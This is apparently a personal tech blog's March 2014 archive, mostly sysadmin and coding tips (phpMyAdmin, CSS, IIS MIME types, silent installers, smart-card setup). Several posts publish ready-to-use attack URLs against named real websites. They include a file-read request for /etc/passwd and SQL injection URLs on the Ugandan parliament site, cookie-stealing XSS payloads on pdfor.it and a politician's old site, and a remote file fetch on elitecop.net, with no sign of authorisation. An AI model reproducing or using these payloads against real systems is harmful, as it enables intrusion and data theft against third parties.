Skip to main content

Posts

Showing posts from March, 2014

error #1146 - Table 'phpmyadmin.pma__recent' doesn't exist

#1146 - Table 'phpmyadmin.pma__recent' doesn't exist

It could happen that the phpmyadmin database doesn't exists and/or phpmyadmin is misconfigured.

To fix the problem we just need to import the file "create_tables.sql" that can be found in (any) the phpmyadmin package inside the "examples/" folders.


mysq -u root --password=mypassword < create_tables.sql


css centering image in a div in the middle of the page - dirty method

Sample css to center blocks, images within divs. I'm not sure if it's a good method.

-css-
.centering{
text-align: center;
}

.centering img{
  display: inline-block; /*inline block so that we can align it*/

/*vertical*/
position: absolute;
top: 0;
bottom: 0;
left: 0;
right: 0;
margin: auto;
  /*vertical*/
}
-----------


-html-

<div class="centering">
<img src="your_image.png" />
</div>



batch script - alert with sound for smart hdd probelms fix

batch script - alert with sound for smart hdd probelms fix
smartmontools detect failure at boot


This is a small batch script that starts an alert if  a "FAILED" string is found in the smartctl report.

@Echo on
SET SMARTBIN=smartmontools\smartctl.exe
SET REPORTFILE=smartinfo.txt
%SMARTBIN% --scan > smartdrives.txt
for /F "tokens=1" %%i in (smartdrives.txt) do %SMARTBIN% -s on %%i > %REPORTFILE% && %SMARTBIN% -i %%i >> %REPORTFILE% && %SMARTBIN% -H %%i >> %REPORTFILE%

findstr /m "FAILED" %REPORTFILE%
if %errorlevel%==0 (
sound\cmdmp3win.exe sound\alert.mp3
)


I personally cannot suggest smatmontools "as is" without the parsing of the S.M.A.R.T. data or full test with smartmontools.

After creting this sample script I have faced the reality that my HD smart report was not correct .
I prefer to manually check with crystaldisk because it reports as "good" or "problematic" without wasting time and with more ac…

IIS 7 Mime type modification without iis 7 manager | fix svg wrong mime type | svg not appearing

I'm quite ignorant about IIS 7 but after using ii7 manager I've noticed that it's easier than expected to modify
the preconfigured mime types and *any* (I don't know exactly what can be modified or not) other configuration
by adding/modifying "web.config" in the root directory.

This sample file web.config is a modification for the svg that have a wrong mime type and the svg are not showing correctly.



web.config
--------------------------------------------------------------------------

<configuration>
    <system .webserver="">
        <staticcontent>
            <remove fileextension=".svg2">
            <remove fileextension=".svg">
            <mimemap fileextension=".svg" mimetype="image/svg+xml">
            <mimemap fileextension=".svg2" mimetype="image/svg+xml">
        </mimemap></mimemap></remove></remove></staticcontent>
  …
installare IIS 7 manager for website administration.
I've faced a simple problem regarding an incorrect svg mime type. The hosting company for a specific website have told me to modify it by myself via iis 7 manager (weird in my opinion). Trovandomi di fronte al problema di dover modificare il mime type per svg. L'assistenza dell'azienda di hosting, Aruba (in questo caso), mi ha risposto di fare le modifiche autonomamente tramite ii7 manager. La cosa mi è sembrata strana perché sarebbe stato utile ed immediato fare le modifiche dal pannello di controllo e non tutti gli utenti hanno sistema operativo Microsoft, i requisiti necessari (a volte mancano pacchetti vari da installare a parte come XML) e le idee non chiarissime su come procedere. ____________________________________________________________

Start->Pannello di controlo



Programmi e funzionalità


Attivazione o disattivazione delle funzionalità Windows


Selezionare "console di gestione IIS" (sotto "I…

Useful tools for mssql

DbaMgr

DbaMgr2k
http://www.asql.biz/en/Download.aspx#DbaMgr

osql batch database extractor
http://www.rs-freeware.org/osql/#install

Java client
http://squirrel-sql.sourceforge.net/


database.net is really good for several different databases. A very nice tool.
http://fishcodelib.com/database.htm

It looks interesting but it doesn't connect (maybe i'm writing the wrong connection data)
http://sqlserverdump.codeplex.com/

good for automatic backup (.bak) to local/shared folder, ftp.
http://sqlbackupandftp.com/


several interesting tools.
http://www.red-gate.com/labs/free-tools/

simple html javascript redirect

Simple javascript and html meta tag to redirect.

Sample:
<html>
<head>
<script type="text/javascript">
function Redirect() { location.href = "static/"; }
window.setTimeout("Redirect()", 1000);
</script>
<meta http-equiv="refresh" content="1; url=static/">
</head>
<body>
<div id="redirectlink" ><a href="static/">redirect page</a></div>

</body>
</html>
Published as personal reminder.

Xamarin studio silent automated installation and download

Xamarin studio offline installation

simplet batch script to (download) and install, also offline, xamarin studio with mono android, xamarin ios, gtk sharp, android sdk tools, android ndk (I'm not sure if it's the right installation method but I've read it in the installation logs of xamarin).

If you need to just install remove the part related to "wget" in the install batch script.

download Xamarin studio silent installation


I needed to automate such process. sometimes msiexec hangs but I don't have the time to verify why (at the moment) ... just kill it from the task manager. Comment for errors, suggestions.

Android SDK Setup automated Installer

Android SDK Setup automated Silent Installer.
Android sdk silent installation.

If you need to install without clicking i've added a very simple setup executable that should work with all the installers of the Android SDK Tools






Download any sdk tool
For Example I've download "installer_r22-windows.exe"
Rename it as "androidsdk.exe"

Run setup.exe from the same folder. The setup runs androidsdk.exe and go ahead without your interaction.
At the end of the setup it opens automatically the tools.

I've simply used  an autoit script. Nothing really particular but I needed to automate various installations.

Download automate android sdk tools installation


It's just for personal use but comments are welcome.

asansambox asangsm Drivers and usage as MXbox that allows (?) Nokia flashing too

I've buyed the Asansambox but due to the big waste of time searching for the right driver I've been unable to install it for more than a week (frustration).
The company told me to use their drivers (there are several links and drivers for the SAME box).

In my case I've to install "smart key" (question mark in the devices manager).
The hardware id hwid (in my case) is SCFILTER\CID_80318065b0831148c883009000

After a search on google I've found a similar product that is the HTI mxkey card (another box?)


I've (simply) set in the inf the hwid as CardName "JCOP41V221". There's no specifi driver needed (in general).

Here you can download the Asansam box drivers

I  don't really know which device is "JCOP41V221" but it looks like the latest (?) version of the mx key ... sort of  ....

I just have problems with already buyed and, for the moment, a -paperweight- named Asansam.

The asansambox is capable to request data from *dead* MTK (chi…

http://www.parliament.go.ug | remote file read/download - System compromise

__________________________________________________________________
oracle, mysql, hacluster, open-xchange

TNS for Linux: Version 11.1.0.6.0 - Production-Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - 64bit Production

There are too many and mixed up scripting languages and messed up *solutions*.



Read quite any file
http://www.parliament.go.ug/mpdata/mps.hei?$debug=pp&$file=/etc/passwd

SEVERAL possible sql injections (there are too many of them ...)
http://www.parliament.go.ug/mpdata/members.hei?committeeno=2%277&name=Committee+on+Rules%2c+Discipline+and+Privileges
http://www.parliament.go.ug/mpdata/mps.hei?p=f&n=t&details=t&j=632.000000&const=Woman+Representative&dist_id=65.000000&distname=Kanungu
http://www.parliament.go.ug/hansard/hans_text.jsp?srch_txt=hansards&exact=ALL&B1=Submit
http://www.parliament.go.ug/enewsletter/index.php/login


the errors are so kind to give those informations:
host: `localhost'
user: …

Drop tables of a database from command line (windows or linux). MySQL.

Drop tables of a database from command line (windows or linux). MySQL.
How to drop tables from command line with a mysql database.





--setting a session (not global since we probably don't have enough privileges) with an higher length. Change the number/length as needed.
SET SESSION group_concat_max_len = 90000;

--setting a variable with the group concatenated list of the tables (ex.: table1,tables2;). Change the MYTABLENAMETOCHANGE with your own table
SET @mytables = (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = 'MYTABLENAMETOCHANGE');

--setting a variable so that we can have a full DROP (if table exists) statement
SET @drptables = (SELECT CONCAT('DROP TABLE IF EXISTS ', @mytables, ';'));

-- preparing "droppingtables" the sql statement from the @drptables variable
PREPARE droppingtables FROM @drptables;

-- executing the sql statement "droppingtables"
EXECUTE droppingtables;

-- releasing "droppi…

Install OS/2 Warp with (or without) virtualbox

-- Install the oracle virtual box (ex. 4.2.0)
-- Create a new v.machine  with the settings for your os/2 warp version

ex.:
 Name(anything): os2warp
 Type: IBM OS/2
 Version (the version that you are installing - 4 in my case): OS/2 Warp 4

-- Add one Disk and one Floppy as storage(s) for the virtual machine. Add a CD/DVD drive if you want to install a bit faster (see below).

-- extract the os2warp.iso so that you can use the dsk images for the installation (located in \DISKIMGS\OS2\35\)

-- Load in the floppy device the disk0.dsk and swap when requested by the os2 setup.

-- when the setup asks for the floppy 1 (after 0) use the DISK1_CD.DSK as floppy and remember to put the CD or load the cd iso image in the, virtual or real, cd drive

-- Choose "easy installation" if you don't need particular things.

When you the "Fdisk" application appears it can show you that the first disk is corrupted. Just go ahead and press enter.
press tab and press -> (right) to choose your disk.
A…

pdfor.it | XSS

XSS
http://www.pdfor.it/Almacube/simulation/login.asp?username=admin%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E


(post)
http://www.pdfor.it/Almacube/registrazione/getPassword.asp
<script>alert(1)</script>@none.com

Windows 7 - 64 bit - Carta Nazionale Servizi

Windows 7 - 64 bit - Carta Nazionale Servizi
Infocert


Installare il proprio lettore di smartcard (alcuni driver sono disponibili qui)

https://www.firma.infocert.it/installazione/lettore.php


Installare il certificato infocert (windows doppio click su file - sempre avanti)
https://www.firma.infocert.it/installazione/certificato.php
https://www.firma.infocert.it/pdf/InfoCert_Servizi_di_Certificazione.cer (link diretto)




Installare dike
https://www.firma.infocert.it/installazione/installazione_DiKeUtil.php
Per le carte serie 1401, 1402 e token USB serie 1501 DiKe fa uso del software CardOS API: per scaricarlo, vedere le istruzioni nella pagina di DiKe. (Rif. infocert)


Se non funziona dike per le carte che iniziano per: 1203, 1204, 1205, 7420,  6090
installare questa versione ipki (x64)
http://www.visura.org/downl/bit4id_ipki_1.2.15.0-k4-ccid-ext-x86-x64.zip


Per windows XP ed Aruba PEC utilizzare la versione 1.2.6.0


_____________________________________________
Firefox
Per Firefox seguire
Stru…

http://www.matteorenzi.it/ | http://matteorenzi.sgpitalia.com | XSS, SQL INJ, etc

Personal website of the Italian  prime minister.



OLDER WEBSITE
XSS and SQL injections. Sys compromise (windows)

http://matteorenzi.sgpitalia.com/contenuto_beta.asp?parametri=%22%3E%3Cscript%3Ealert%28%27xss%27%29;%3C/script%3E%3C%22%A7%A7%A7%A7%A7%A7vedi_v%27id%27eo%A7%A7%A71%A7%A7%A70


http://matteorenzi.sgpitalia.com/contenuto_beta.asp?parametri=1%EF%BF%BD%EF%BF%BD%EF%BF%BD72195%EF%BF%BD%EF%BF%BD%EF%BF%BD72195/0012%EF%BF%BD%EF%BF%BD%EF%BF%BD0%EF%BF%BD%EF%BF%BD%EF%BF%BDvedi_evento%EF%BF%BD%EF%BF%BD%EF%BF%BD1%EF%BF%BD%EF%BF%BD%EF%BF%BD0%EF%BF%BD%EF%BF%BD%EF%BF%BDpulisci%EF%BF%BD%EF%BF%BD%EF%BF%BD

carrello_beta.asp?azione=%22%3E%3Cscript%3Ealert%28%27xss%27%29;%3C/script%3E%3C%22%A7%A7%A7%A7%A7%A7vedi_v%27id%27eo%A7%A7%A71%A7%A7%A70finestra_stampa_beta.asp?numero_immagini=%22%3E%3Cscript%3Ealert%28%27xss%27%29;%3C/script%3E%3C%22%A7%A7%A7%A7%A7%A7vedi_v%27id%27eo%A7%A7%A71%A7%A7%A70popup.asp http://matteorenzi.sgpitalia.com/contenuto_beta.asp?parametri=76678%A7%A7%A776678/0075%A7%A7%A7ved…

http://www.elitecop.net | read file, download remote files, system compromise

The website is dead and I suppose that it can be published.


http://www.elitecop.net/?command=/BradfordMDC/Core/SelectLayout.aspx?ReturnUrl=%2Fbmdc%2Fdefault%3FNRMODE%3DPublished%26NRORIGINALURL%3D%252fbmdc%252f%26NRNODEGUID%3D%257bFF6D29D6-98D7-4C9B-9C8B-1B11573299DD%257d%26NRCACHEHINT%3DGuest



Warning: file_get_contents(http://forums.officer.com/forums//BradfordMDC/Core/SelectLayout.aspx?ReturnUrl=/bmdc/default?NRMODE=Published&amp;amp;NRORIGINALURL=%2fbmdc%2f&amp;amp;NRNODEGUID=%7bFF6D29D6-98D7-4C9B-9C8B-1B11573299DD%7d&amp;amp;NRCACHEHINT=Guest) [function.file-get-contents]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/subdimen/public_html/elitecop.net/index.php on line 63
Bad URL = "http://forums.officer.com/forums//BradfordMDC/Core/SelectLayout.aspx?ReturnUrl=/bmdc/default?NRMODE=Published&amp;NRORIGINALURL=%2fbmdc%2f&amp;NRNODEGUID=%7bFF6D29D6-98D7-4C9B-9C8B-1B11573299DD%7d&amp;NRCACHEHINT=Guest"!